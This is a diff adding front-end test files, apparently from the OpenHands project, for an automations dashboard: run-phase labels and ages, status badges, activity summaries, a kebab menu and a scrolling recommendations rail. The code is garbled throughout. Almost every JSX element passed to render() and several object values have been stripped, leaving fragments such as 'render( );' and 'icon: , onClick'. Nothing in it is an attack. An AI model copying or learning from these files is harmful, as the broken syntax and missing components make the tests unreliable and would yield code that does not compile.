+ run={makeRun({
+ run_metadata: {
+ finish_tool_response: {
+ crm_contacts_checked: 12,
+ matches: ["Acme", "Globex"],
+ next_action: "Ask user to pick a contact.",
+ },
+ },
+ })}
+ />,
+ );
+
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$NEEDS_REVIEW),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$CUSTOM_TASK_METADATA),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$TASK_METADATA),
+ ).toBeInTheDocument();
+ const metadata = screen.getByTestId("automation-task-metadata");
+ expect(metadata).toHaveTextContent('"crm_contacts_checked": 12');
+ expect(metadata).toHaveTextContent(
+ '"next_action": "Ask user to pick a contact."',
+ );
+ });
+});
+
+describe("RunLogsModal — Debug with OpenHands button", () => {
+ const makeRun = (status: AutomationRunStatus): AutomationRun => ({
+ id: "run-1",
+ status,
+ conversation_id: "conv-1",
+ bash_command_id: "cmd-1",
+ error_detail: status === AutomationRunStatus.FAILED ? "boom" : null,
+ started_at: "2026-01-01T10:00:00Z",
+ completed_at: "2026-01-01T10:02:00Z",
+ });
+
+ it("renders the debug button for a failed run", () => {
+ useBashCommandLogsMock.mockReturnValue(makeHookResult());
+ render(
+ {}}
+ run={makeRun(AutomationRunStatus.FAILED)}
+ />,
+ );
+ expect(
+ screen.getByTestId("debug-automation-button-stub"),
+ ).toBeInTheDocument();
+ });
+
+ it("does not render the debug button for a successful run", () => {
+ useBashCommandLogsMock.mockReturnValue(makeHookResult());
+ render(
+ {}}
+ run={makeRun(AutomationRunStatus.COMPLETED)}
+ />,
+ );
+ expect(
+ screen.queryByTestId("debug-automation-button-stub"),
+ ).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/automations/detail/run-phase.test.tsx b/__tests__/components/automations/detail/run-phase.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..309df937c56ed97d1adbf88f7d5218a771f1c71f
--- /dev/null
+++ b/__tests__/components/automations/detail/run-phase.test.tsx
@@ -0,0 +1,346 @@
+import { describe, it, expect, vi, afterEach } from "vitest";
+import { render, screen } from "@testing-library/react";
+
+import {
+ formatRunPhaseAge,
+ resolveRunPhaseText,
+ RunPhase,
+} from "#/components/features/automations/detail/run-phase";
+import { I18nKey } from "#/i18n/declaration";
+// Source of truth for translated values — not a hand-maintained duplicate.
+import translationData from "#/i18n/translation.json";
+import { AutomationRunStatus } from "#/types/automation";
+import { formatRelativeTime } from "#/utils/format-relative-time";
+
+type TranslationEntry = Record;
+const TRANSLATIONS = translationData as unknown as Record<
+ string,
+ TranslationEntry
+>;
+
+// `t()` is mocked to resolve against the real translation.json content for
+// French ("fr"), the same pattern used elsewhere in this repo (see
+// server-status.test.tsx) to assert on genuine translated copy rather than
+// the ambient test i18n backend, which never resolves real values.
+function translate(key: string, options?: Record): string {
+ const value = TRANSLATIONS[key]?.fr ?? key;
+ if (!options) return value;
+ // Interpolate the same way i18next does, so a test can assert on "il y a
+ // 12min" rather than on the untouched "il y a {{count}}min" placeholder.
+ return value.replace(/{{(\w+)}}/g, (_, name: string) =>
+ String(options[name] ?? `{{${name}}}`),
+ );
+}
+
+vi.mock("react-i18next", async () => {
+ const actual = await vi.importActual("react-i18next");
+ return {
+ ...actual,
+ useTranslation: () => ({
+ t: translate,
+ i18n: { language: "fr" },
+ }),
+ };
+});
+
+const minutesAgo = (minutes: number) =>
+ new Date(Date.now() - minutes * 60_000).toISOString();
+
+const RUNNING = AutomationRunStatus.RUNNING;
+
+describe("RunPhase — known code, non-English language", () => {
+ it("shows the French translation.json value for a known phase code, not the raw code", () => {
+ render(
+ ,
+ );
+
+ const expected =
+ TRANSLATIONS[I18nKey.AUTOMATIONS$DETAIL$PHASE_SANDBOX_PROVISIONING].fr;
+ expect(screen.getByText(expected)).toBeInTheDocument();
+ expect(screen.queryByText("sandbox_provisioning")).not.toBeInTheDocument();
+ });
+});
+
+describe("RunPhase — unknown code (custom automations)", () => {
+ it("shows the label as-is, including emoji and non-Latin text, for an unknown code", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByText("🔍 Опрашиваем PR-ы")).toBeInTheDocument();
+ });
+
+ it("shows the raw code when the automation reported a code and no label", () => {
+ // The service accepts `{"code": "checking_out"}` with no label at all, so
+ // this run has a real phase and dropping it would show nothing.
+ render( );
+
+ expect(screen.getByTestId("run-phase")).toHaveTextContent("checking_out");
+ });
+
+ it.each([
+ ["null code and empty label", null, ""],
+ ["undefined on both fields (an older service)", undefined, undefined],
+ ["null on both fields", null, null],
+ ["whitespace on both fields", " ", " "],
+ ])(
+ "renders nothing and never touches the console with %s",
+ (_case, code, label) => {
+ const errorSpy = vi.spyOn(console, "error").mockImplementation(() => {});
+ const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+ expect(() =>
+ render( ),
+ ).not.toThrow();
+
+ expect(screen.queryByTestId("run-phase")).not.toBeInTheDocument();
+ expect(errorSpy).not.toHaveBeenCalled();
+ expect(warnSpy).not.toHaveBeenCalled();
+ },
+ );
+
+ afterEach(() => {
+ vi.restoreAllMocks();
+ });
+
+ it("boundary: a 200-character label (the contract's max) reaches the DOM whole, so truncation stays visual", () => {
+ // Arrange: the longest label the backend contract allows.
+ const label = "x".repeat(200);
+
+ // Act
+ render( );
+
+ // Assert: the full string is still there — clipping must be CSS, never a
+ // JS slice that would lose characters no tooltip could bring back.
+ expect(screen.getByTestId("run-phase")).toHaveTextContent(label);
+ });
+
+ it("renders the label when only a label was reported and no code", () => {
+ // The service accepts a phase carrying just a label, so a custom
+ // automation may report one. An absent code is the most unknown code
+ // there is, and an unknown code falls back to its label.
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("run-phase")).toHaveTextContent(
+ "Reticulating splines",
+ );
+ });
+});
+
+describe("RunPhase — phase text is data, not a lookup into JavaScript itself", () => {
+ // `phase_code` is author-supplied, so a plain-object lookup answers these
+ // from `Object.prototype` and hands a function to `t()` — taking the card
+ // tree down inside render instead of falling back to the label.
+ it.each(["toString", "constructor", "__proto__", "hasOwnProperty"])(
+ "treats %s as an ordinary unknown code and shows the label",
+ (code) => {
+ expect(() =>
+ render( ),
+ ).not.toThrow();
+
+ expect(screen.getByTestId("run-phase")).toHaveTextContent("Полный аудит");
+ },
+ );
+});
+
+describe("resolveRunPhaseText — one answer for the row and its tooltip", () => {
+ // The row shows a clipped copy of this text and the tooltip shows all of
+ // it, so both have to resolve the same phase the same way; a surface that
+ // resolved it on its own could show one thing and reveal another.
+ const t = (key: string) => TRANSLATIONS[key]?.fr ?? key;
+
+ it("resolves a known code to its translation", () => {
+ expect(resolveRunPhaseText(t, "sandbox_provisioning", null)).toBe(
+ TRANSLATIONS[I18nKey.AUTOMATIONS$DETAIL$PHASE_SANDBOX_PROVISIONING].fr,
+ );
+ });
+
+ it("resolves an unknown code to the author's label, verbatim", () => {
+ expect(resolveRunPhaseText(t, "poll_prs", "🔍 Опрашиваем PR-ы")).toBe(
+ "🔍 Опрашиваем PR-ы",
+ );
+ });
+
+ it("resolves a phase carrying only a label to that label", () => {
+ expect(resolveRunPhaseText(t, null, "Reticulating splines")).toBe(
+ "Reticulating splines",
+ );
+ });
+
+ it("resolves a phase carrying only a code to that code, verbatim", () => {
+ // Mirrors the backend contract: `code` and `label` are independently
+ // optional, so a code-only phase is valid and must reach the screen.
+ expect(resolveRunPhaseText(t, "checking_out", null)).toBe("checking_out");
+ expect(resolveRunPhaseText(t, "checking_out", "")).toBe("checking_out");
+ });
+
+ it("prefers the author's label over the raw code when both are present", () => {
+ expect(resolveRunPhaseText(t, "poll_prs", "Polling PRs")).toBe(
+ "Polling PRs",
+ );
+ });
+
+ it("falls through a whitespace-only label, which the service stores as sent", () => {
+ // Only a phase blank on *both* fields is rejected: `{"code": "x",
+ // "label": " "}` is recorded verbatim, and rendering that label would
+ // put an empty span on the row with the age dangling beside it.
+ expect(resolveRunPhaseText(t, "checking_out", " ")).toBe("checking_out");
+ expect(resolveRunPhaseText(t, " ", " ")).toBeNull();
+ });
+
+ it("resolves to null when there is nothing to show", () => {
+ expect(resolveRunPhaseText(t, "", "")).toBeNull();
+ expect(resolveRunPhaseText(t, null, null)).toBeNull();
+ });
+});
+
+describe("formatRunPhaseAge — telling a moving run from a stalled one", () => {
+ it("reports how long the run has held the phase, localized", () => {
+ expect(formatRunPhaseAge(minutesAgo(12), "fr", translate)).toBe(
+ "il y a 12min",
+ );
+ });
+
+ it("reports a phase written seconds ago as 'just now', not as zero minutes", () => {
+ expect(formatRunPhaseAge(minutesAgo(0), "fr", translate)).toBe(
+ TRANSLATIONS[I18nKey.AUTOMATIONS$DETAIL$TIME_JUST_NOW].fr,
+ );
+ });
+
+ it("boundary: 60 minutes rolls over to the hours wording", () => {
+ expect(formatRunPhaseAge(minutesAgo(60), "fr", translate)).toBe(
+ "il y a 1h",
+ );
+ });
+
+ it("returns null when the service reported no timestamp", () => {
+ expect(formatRunPhaseAge(null, "fr", translate)).toBeNull();
+ expect(formatRunPhaseAge(undefined, "fr", translate)).toBeNull();
+ });
+
+ it("negative: returns null for timestamps the formatter would print as garbage", () => {
+ // The guard is the whole point: left to itself, the shared relative-time
+ // formatter prints "Invalid Date" for an unparseable string and a 1970
+ // date for the epoch, which is how the backend leaves a datetime unset.
+ expect(formatRelativeTime("not-a-date", "fr", translate)).toMatch(
+ /Invalid/,
+ );
+ expect(formatRelativeTime("1970-01-01T00:00:00Z", "fr", translate)).toMatch(
+ /1970/,
+ );
+
+ expect(formatRunPhaseAge("not-a-date", "fr", translate)).toBeNull();
+ expect(
+ formatRunPhaseAge("1970-01-01T00:00:00Z", "fr", translate),
+ ).toBeNull();
+ });
+});
+
+describe("RunPhase — how long the run has been in this phase", () => {
+ it("shows the age beside the phase, so a stalled run reads differently from a moving one", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("run-phase-age")).toHaveTextContent(
+ "il y a 41min",
+ );
+ });
+
+ it("keeps the age in its own node, outside the clipped text, so a maximum-length label cannot push it out of sight", () => {
+ // Arrange: the longest label the backend contract allows, in the surface
+ // with the least room.
+ const label = "x".repeat(200);
+
+ render(
+ ,
+ );
+
+ const text = screen.getByTestId("run-phase");
+ const age = screen.getByTestId("run-phase-age");
+ expect(text).not.toContainElement(age);
+ });
+
+ it("shows no age at all against a service that reports phases without a timestamp", () => {
+ render( );
+
+ expect(screen.getByTestId("run-phase")).toBeInTheDocument();
+ expect(screen.queryByTestId("run-phase-age")).not.toBeInTheDocument();
+ });
+
+ it.each([
+ ["unparseable", "not-a-date"],
+ [
+ "the epoch, which is how an unset datetime arrives",
+ "1970-01-01T00:00:00Z",
+ ],
+ ])("shows no age when the timestamp is %s", (_case, updatedAt) => {
+ render(
+ ,
+ );
+
+ expect(screen.queryByTestId("run-phase-age")).not.toBeInTheDocument();
+ });
+
+ it("drops the age on a failed run, whose phase is where it stopped rather than something still running", () => {
+ // A months-old failure would otherwise render an absolute date — a
+ // second timestamp beside the one the row already shows.
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("run-phase")).toBeInTheDocument();
+ expect(screen.queryByTestId("run-phase-age")).not.toBeInTheDocument();
+ });
+});
+
+describe("RunPhase — reachable without a mouse", () => {
+ it("leaves the whole phase, age included, in the accessibility tree", () => {
+ // Truncation is CSS only, so a 200-character label is readable in full
+ // by a screen reader as long as nothing hides it — and nothing may hide
+ // it behind a tab stop, because every surface nests the phase inside a
+ // link, where a focusable descendant is invalid and swallows Enter.
+ const label = "x".repeat(200);
+
+ render(
+ ,
+ );
+
+ const text = screen.getByTestId("run-phase");
+ const age = screen.getByTestId("run-phase-age");
+ expect(text).toHaveTextContent(label);
+ expect(age).toHaveTextContent("il y a 7min");
+ expect(text).not.toHaveAttribute("aria-hidden");
+ expect(age).not.toHaveAttribute("aria-hidden");
+ // No focusable ancestor: the phase must never be its own tab stop
+ // inside the link every surface wraps it in.
+ expect(text.closest("[tabindex]")).toBeNull();
+ });
+});
diff --git a/__tests__/components/automations/detail/run-status-badge.test.tsx b/__tests__/components/automations/detail/run-status-badge.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..14db3cd7ffffbe6a4038052dff740f462304149c
--- /dev/null
+++ b/__tests__/components/automations/detail/run-status-badge.test.tsx
@@ -0,0 +1,94 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { RunStatusBadge } from "#/components/features/automations/detail/run-status-badge";
+import { AutomationRunStatus } from "#/types/automation";
+import { I18nKey } from "#/i18n/declaration";
+
+describe("RunStatusBadge", () => {
+ it.each([
+ [AutomationRunStatus.COMPLETED, I18nKey.AUTOMATIONS$DETAIL$SUCCESSFUL],
+ [AutomationRunStatus.FAILED, I18nKey.AUTOMATIONS$DETAIL$FAILED],
+ [AutomationRunStatus.PENDING, I18nKey.AUTOMATIONS$DETAIL$PENDING],
+ [AutomationRunStatus.RUNNING, I18nKey.AUTOMATIONS$DETAIL$RUNNING],
+ [AutomationRunStatus.CANCELLED, I18nKey.AUTOMATIONS$DETAIL$CANCELLED],
+ [AutomationRunStatus.SKIPPED, I18nKey.AUTOMATIONS$DETAIL$SKIPPED],
+ ["success", I18nKey.AUTOMATIONS$DETAIL$SUCCESSFUL],
+ ["blocked", I18nKey.AUTOMATIONS$DETAIL$BLOCKED],
+ ["failed", I18nKey.AUTOMATIONS$DETAIL$FAILED],
+ ["partial_success", I18nKey.AUTOMATIONS$DETAIL$PARTIAL],
+ ["unknown", I18nKey.AUTOMATIONS$DETAIL$NEEDS_REVIEW],
+ ] as const)(
+ "renders the %s label for the matching status",
+ (status, labelKey) => {
+ render( );
+
+ expect(screen.getByText(labelKey)).toBeInTheDocument();
+ },
+ );
+
+ it.each([
+ [AutomationRunStatus.COMPLETED, "run-status-icon-completed"],
+ [AutomationRunStatus.FAILED, "run-status-icon-failed"],
+ [AutomationRunStatus.PENDING, "run-status-icon-pending"],
+ [AutomationRunStatus.RUNNING, "run-status-icon-running"],
+ [AutomationRunStatus.CANCELLED, "run-status-icon-pending"],
+ [AutomationRunStatus.SKIPPED, "run-status-icon-pending"],
+ ["success", "run-status-icon-completed"],
+ ["blocked", "run-status-icon-warning"],
+ ["failed", "run-status-icon-failed"],
+ ["partial_success", "run-status-icon-warning"],
+ ["unknown", "run-status-icon-needs-review"],
+ ] as const)(
+ "renders the %s icon variant for the matching status",
+ (status, testId) => {
+ render( );
+
+ expect(screen.getByTestId(testId)).toBeInTheDocument();
+ },
+ );
+
+ it("renders a neutral badge for a status the backend added later", () => {
+ const unknownStatus = "ARCHIVED" as AutomationRunStatus;
+
+ render( );
+
+ expect(screen.getByTestId("run-status-icon-pending")).toBeInTheDocument();
+ });
+
+ it("renders an icon-only mark with the status label as aria-label", () => {
+ render( );
+
+ expect(
+ screen.queryByText(I18nKey.AUTOMATIONS$DETAIL$SUCCESSFUL),
+ ).toBeNull();
+ expect(screen.getByTestId("run-status-badge-icon")).toHaveAttribute(
+ "aria-label",
+ I18nKey.AUTOMATIONS$DETAIL$SUCCESSFUL,
+ );
+ expect(screen.getByTestId("run-status-icon-completed")).toBeInTheDocument();
+ });
+
+ it("renders compact pills without an outline and with tighter left padding", () => {
+ render( );
+
+ const badge = screen.getByText(I18nKey.AUTOMATIONS$DETAIL$FAILED);
+ expect(badge.className).not.toContain("border");
+ expect(badge).toHaveClass("pl-1");
+ expect(badge).toHaveClass("pr-1.5");
+ });
+
+ it("renders the status word next to the icon when showLabel is set", () => {
+ render(
+ ,
+ );
+
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$PENDING),
+ ).toBeInTheDocument();
+ expect(screen.getByTestId("run-status-icon-pending")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/automations/detail/section-card.test.tsx b/__tests__/components/automations/detail/section-card.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2bb59ad8479ca9968d65a583d4418f2a22343a5b
--- /dev/null
+++ b/__tests__/components/automations/detail/section-card.test.tsx
@@ -0,0 +1,132 @@
+import { render, screen } from "@testing-library/react";
+import { afterEach, describe, it, expect, vi } from "vitest";
+import { SectionCard } from "#/components/features/automations/detail/section-card";
+import { ActivitySection } from "#/components/features/automations/detail/activity-section";
+import { I18nKey } from "#/i18n/declaration";
+
+const mocks = vi.hoisted(() => ({
+ useTranslation: vi.fn(),
+}));
+
+vi.mock("react-i18next", () => ({
+ useTranslation: (namespace?: unknown) => {
+ mocks.useTranslation(namespace);
+ return {
+ t: (key: string, options?: { count?: number }) =>
+ options?.count === undefined ? key : `${key}:${options.count}`,
+ i18n: { language: "en-US" },
+ };
+ },
+}));
+
+describe("SectionCard", () => {
+ it("renders the title and children content", () => {
+ render(
+ } title="Test Section">
+ {String("Section content")}
+ ,
+ );
+
+ expect(screen.getByText("Test Section")).toBeInTheDocument();
+ expect(screen.getByText("Section content")).toBeInTheDocument();
+ expect(screen.getByTestId("icon")).toBeInTheDocument();
+ });
+});
+
+describe("Automation activity summary", () => {
+ afterEach(() => {
+ vi.useRealTimers();
+ });
+
+ it("shows the creation date and reports an automation that has never run", () => {
+ render(
+ ,
+ );
+
+ expect(mocks.useTranslation).toHaveBeenCalledWith("openhands");
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$ACTIVITY),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$CREATED),
+ ).toBeInTheDocument();
+ expect(screen.getByText("Apr 10, 2024")).toBeInTheDocument();
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$TIME_NEVER),
+ ).toBeInTheDocument();
+ });
+
+ it.each([
+ {
+ description: "less than a minute ago",
+ lastRunAt: "2026-06-15T11:59:30Z",
+ expected: I18nKey.AUTOMATIONS$DETAIL$TIME_JUST_NOW,
+ },
+ {
+ description: "minutes ago",
+ lastRunAt: "2026-06-15T11:23:00Z",
+ expected: `${I18nKey.AUTOMATIONS$DETAIL$TIME_MINUTES_AGO}:37`,
+ },
+ {
+ description: "exactly one minute ago",
+ lastRunAt: "2026-06-15T11:59:00Z",
+ expected: `${I18nKey.AUTOMATIONS$DETAIL$TIME_MINUTES_AGO}:1`,
+ },
+ {
+ description: "hours ago",
+ lastRunAt: "2026-06-15T06:30:00Z",
+ expected: `${I18nKey.AUTOMATIONS$DETAIL$TIME_HOURS_AGO}:5`,
+ },
+ {
+ description: "exactly one hour ago",
+ lastRunAt: "2026-06-15T11:00:00Z",
+ expected: `${I18nKey.AUTOMATIONS$DETAIL$TIME_HOURS_AGO}:1`,
+ },
+ {
+ description: "yesterday",
+ lastRunAt: "2026-06-14T10:00:00Z",
+ expected: I18nKey.AUTOMATIONS$DETAIL$TIME_YESTERDAY,
+ },
+ {
+ description: "exactly one day ago",
+ lastRunAt: "2026-06-14T12:00:00Z",
+ expected: I18nKey.AUTOMATIONS$DETAIL$TIME_YESTERDAY,
+ },
+ {
+ description: "several days ago",
+ lastRunAt: "2026-06-12T07:00:00Z",
+ expected: `${I18nKey.AUTOMATIONS$DETAIL$TIME_DAYS_AGO}:3`,
+ },
+ {
+ description: "exactly one week ago",
+ lastRunAt: "2026-06-08T12:00:00Z",
+ expected: "Jun 8, 2026",
+ },
+ ])("shows a run from $description", ({ lastRunAt, expected }) => {
+ vi.useFakeTimers();
+ vi.setSystemTime(new Date("2026-06-15T12:00:00Z"));
+
+ render(
+ ,
+ );
+
+ expect(screen.getByText(expected)).toBeInTheDocument();
+ });
+
+ it("uses an absolute localized date for a run at least a week old", () => {
+ vi.useFakeTimers();
+ vi.setSystemTime(new Date("2026-06-15T12:00:00Z"));
+
+ render(
+ ,
+ );
+
+ expect(screen.getByText("Jan 2, 2020")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/automations/error-state.test.tsx b/__tests__/components/automations/error-state.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c5b22ef371f5f87549000903fc10faf84ee6be62
--- /dev/null
+++ b/__tests__/components/automations/error-state.test.tsx
@@ -0,0 +1,25 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { vi, describe, it, expect } from "vitest";
+import { ErrorState } from "#/components/features/automations/error-state";
+
+describe("ErrorState", () => {
+ it("renders error icon and retry button", () => {
+ const { container } = render( );
+
+ // Check for the error icon (ExclamationCircleIcon)
+ expect(container.querySelector("svg")).toBeInTheDocument();
+ // Check for the retry button
+ expect(screen.getByRole("button")).toBeInTheDocument();
+ });
+
+ it("calls onRetry when retry button is clicked", async () => {
+ const onRetry = vi.fn();
+ const user = userEvent.setup();
+ render( );
+
+ await user.click(screen.getByRole("button"));
+
+ expect(onRetry).toHaveBeenCalledOnce();
+ });
+});
diff --git a/__tests__/components/automations/kebab-menu.test.tsx b/__tests__/components/automations/kebab-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..41cd86ee336a1cf4bca67ef3a828572f3029a404
--- /dev/null
+++ b/__tests__/components/automations/kebab-menu.test.tsx
@@ -0,0 +1,63 @@
+import { render, screen, fireEvent } from "@testing-library/react";
+import { describe, it, expect, vi } from "vitest";
+import { KebabMenu } from "#/components/features/automations/kebab-menu";
+
+const ITEMS = ["Run now", "View", "Export", "Edit", "Turn on", "Delete"].map(
+ (label) => ({ label, icon: , onClick: vi.fn() }),
+);
+
+/** Place the trigger at a fixed viewport position before the menu opens. */
+function openMenuWithTriggerAt(top: number, bottom: number) {
+ const trigger = screen.getByRole("button", {
+ name: "AUTOMATIONS$ACTIONS_MENU",
+ });
+ vi.spyOn(trigger, "getBoundingClientRect").mockReturnValue({
+ top,
+ bottom,
+ left: 900,
+ right: 1000,
+ width: 100,
+ height: bottom - top,
+ x: 900,
+ y: top,
+ toJSON: () => ({}),
+ } as DOMRect);
+ fireEvent.click(trigger);
+ return document.querySelector('div[style*="position: fixed"]');
+}
+
+describe("KebabMenu", () => {
+ it("opens the menu and invokes an item's onClick when selected", async () => {
+ const onClick = vi.fn();
+ render(
+ , onClick }]} />,
+ );
+
+ // Open the menu, then select the item (rendered via KebabMenuItemContent).
+ fireEvent.click(
+ screen.getByRole("button", { name: "AUTOMATIONS$ACTIONS_MENU" }),
+ );
+ fireEvent.click(await screen.findByText("Delete"));
+
+ expect(onClick).toHaveBeenCalledTimes(1);
+ });
+
+ it("anchors below the trigger when the menu fits in the viewport", () => {
+ render( );
+
+ const portal = openMenuWithTriggerAt(68, 100);
+
+ expect(portal?.style.top).toBe("104px");
+ expect(portal?.style.bottom).toBe("");
+ });
+
+ it("flips above the trigger when the menu would clip at the viewport bottom", () => {
+ render( );
+
+ // window.innerHeight is 768 in jsdom; 700 + 4 + (6 * 36) overflows it.
+ const portal = openMenuWithTriggerAt(668, 700);
+
+ expect(portal?.style.bottom).toBe("104px");
+ expect(portal?.style.top).toBe("");
+ });
+});
diff --git a/__tests__/components/automations/recommended-automations-rail.test.tsx b/__tests__/components/automations/recommended-automations-rail.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..cf220431dc2735a2c81d0238c2a1b6b8728461b4
--- /dev/null
+++ b/__tests__/components/automations/recommended-automations-rail.test.tsx
@@ -0,0 +1,329 @@
+import { fireEvent, render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { I18nKey } from "#/i18n/declaration";
+import { RecommendedAutomationsRail } from "#/components/features/automations/recommended-automations-rail";
+import { AUTOMATION_STACK_SECTION_BOTTOM_CLASS } from "#/utils/automation-stack-section";
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string) => key,
+ }),
+}));
+
+describe("RecommendedAutomationsRail", () => {
+ beforeEach(() => {
+ vi.stubGlobal(
+ "ResizeObserver",
+ class {
+ observe = vi.fn();
+
+ unobserve = vi.fn();
+
+ disconnect = vi.fn();
+ },
+ );
+ });
+
+ afterEach(() => {
+ vi.unstubAllGlobals();
+ });
+
+ function mockScrollMetrics(
+ element: HTMLElement,
+ metrics: { scrollWidth: number; clientWidth: number; scrollLeft: number },
+ ) {
+ Object.defineProperty(element, "scrollWidth", {
+ configurable: true,
+ value: metrics.scrollWidth,
+ });
+ Object.defineProperty(element, "clientWidth", {
+ configurable: true,
+ value: metrics.clientWidth,
+ });
+ Object.defineProperty(element, "scrollLeft", {
+ configurable: true,
+ writable: true,
+ value: metrics.scrollLeft,
+ });
+ }
+
+ it("renders remaining proven workflows before conversation-only extras", () => {
+ render(
+ ,
+ );
+
+ const cardIds = screen
+ .getAllByTestId(/^recommended-automation-rail-card-/)
+ .map((card) =>
+ card
+ .getAttribute("data-testid")
+ ?.replace("recommended-automation-rail-card-", ""),
+ );
+
+ expect(cardIds).toEqual([
+ "custom-automation",
+ "github-issue-to-pr",
+ "slack-channel-monitor",
+ "github-agents-md-maintainer",
+ "news-digest",
+ "slack-standup-digest",
+ "linear-triage-assistant",
+ "linear-issue-to-github-pr",
+ "linear-issue-to-gitlab-mr",
+ "linear-issue-to-bitbucket-pr",
+ "jira-issue-to-pr",
+ "jira-issue-to-gitlab-mr",
+ "research-brief-writer",
+ "jira-issue-to-bitbucket-pr",
+ ]);
+ expect(
+ screen.getByText(I18nKey.RECOMMENDED_AUTOMATIONS$SECTION_LABEL),
+ ).toBeInTheDocument();
+ });
+
+ it("keeps space below the cards when later home sections are empty", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("recommended-automations-rail")).toHaveClass(
+ AUTOMATION_STACK_SECTION_BOTTOM_CLASS,
+ );
+ });
+
+ it("calls onSelect when a rail card is clicked", async () => {
+ const onSelect = vi.fn();
+ const user = userEvent.setup();
+
+ render(
+ ,
+ );
+
+ await user.click(
+ screen.getByTestId(
+ "recommended-automation-rail-card-slack-standup-digest",
+ ),
+ );
+
+ expect(onSelect).toHaveBeenCalledWith(
+ expect.objectContaining({ id: "slack-standup-digest" }),
+ );
+ });
+
+ it("renders nothing when every recommended automation has been added", () => {
+ const { container } = render(
+ ,
+ );
+
+ expect(container).toBeEmptyDOMElement();
+ });
+
+ it("keeps a 40px icon row and overlaps multiple logos to the right", () => {
+ render(
+ ,
+ );
+
+ const single = screen.getByTestId(
+ "recommended-automation-rail-icon-github-pr-reviewer",
+ );
+ const overlap = screen.getByTestId(
+ "recommended-automation-rail-icon-jira-issue-to-pr",
+ );
+
+ expect(single).toHaveClass("h-10");
+ expect(single).not.toHaveAttribute("data-layout");
+ expect(overlap).toHaveClass("h-10", "-space-x-2");
+ expect(overlap).toHaveAttribute("data-layout", "overlap");
+ expect(overlap).not.toHaveClass("w-10", "bg-surface-raised");
+ expect(overlap).not.toHaveAttribute("data-layout", "quadrants");
+ });
+
+ describe("clipped-content fades", () => {
+ it("shows an edge gradient only on the clipped side", () => {
+ render(
+ ,
+ );
+
+ const scroller = screen.getByTestId(
+ "recommended-automations-rail-scroll",
+ );
+ const leftFade = screen.getByTestId(
+ "recommended-automations-rail-fade-left",
+ );
+ const rightFade = screen.getByTestId(
+ "recommended-automations-rail-fade-right",
+ );
+
+ mockScrollMetrics(scroller, {
+ scrollWidth: 900,
+ clientWidth: 320,
+ scrollLeft: 0,
+ });
+ fireEvent.scroll(scroller);
+
+ expect(rightFade).toHaveAttribute("data-visible", "true");
+ expect(leftFade).toHaveAttribute("data-visible", "false");
+
+ mockScrollMetrics(scroller, {
+ scrollWidth: 900,
+ clientWidth: 320,
+ scrollLeft: 580,
+ });
+ fireEvent.scroll(scroller);
+
+ expect(leftFade).toHaveAttribute("data-visible", "true");
+ expect(rightFade).toHaveAttribute("data-visible", "false");
+ });
+ });
+
+ describe("drag-to-scroll", () => {
+ it("scrolls the rail while dragging with the mouse", () => {
+ render(
+ ,
+ );
+ const scroller = screen.getByTestId(
+ "recommended-automations-rail-scroll",
+ );
+ mockScrollMetrics(scroller, {
+ scrollWidth: 900,
+ clientWidth: 320,
+ scrollLeft: 100,
+ });
+
+ fireEvent.mouseDown(scroller, { button: 0, clientX: 300 });
+ fireEvent.mouseMove(document, { clientX: 250, buttons: 1 });
+
+ expect(scroller.scrollLeft).toBe(150);
+ });
+
+ it("does not select a card on the click that ends a drag, but allows the next click", () => {
+ const onSelect = vi.fn();
+ render(
+ ,
+ );
+ const card = screen.getByTestId(
+ "recommended-automation-rail-card-slack-standup-digest",
+ );
+
+ fireEvent.mouseDown(card, { button: 0, clientX: 300 });
+ fireEvent.mouseMove(document, { clientX: 250, buttons: 1 });
+ fireEvent.mouseUp(document);
+ fireEvent.click(card);
+
+ expect(onSelect).not.toHaveBeenCalled();
+
+ fireEvent.mouseDown(card, { button: 0, clientX: 250 });
+ fireEvent.mouseUp(document);
+ fireEvent.click(card);
+
+ expect(onSelect).toHaveBeenCalledTimes(1);
+ });
+
+ it("treats movement below the drag threshold as a click", () => {
+ const onSelect = vi.fn();
+ render(
+ ,
+ );
+ const card = screen.getByTestId(
+ "recommended-automation-rail-card-slack-standup-digest",
+ );
+
+ fireEvent.mouseDown(card, { button: 0, clientX: 300 });
+ fireEvent.mouseMove(document, { clientX: 301, buttons: 1 });
+ fireEvent.mouseUp(document);
+ fireEvent.click(card);
+
+ expect(onSelect).toHaveBeenCalledTimes(1);
+ });
+
+ it("ignores drags started with a non-primary mouse button", () => {
+ render(
+ ,
+ );
+ const scroller = screen.getByTestId(
+ "recommended-automations-rail-scroll",
+ );
+ mockScrollMetrics(scroller, {
+ scrollWidth: 900,
+ clientWidth: 320,
+ scrollLeft: 100,
+ });
+
+ fireEvent.mouseDown(scroller, { button: 2, clientX: 300 });
+ fireEvent.mouseMove(document, { clientX: 250, buttons: 2 });
+
+ expect(scroller.scrollLeft).toBe(100);
+ });
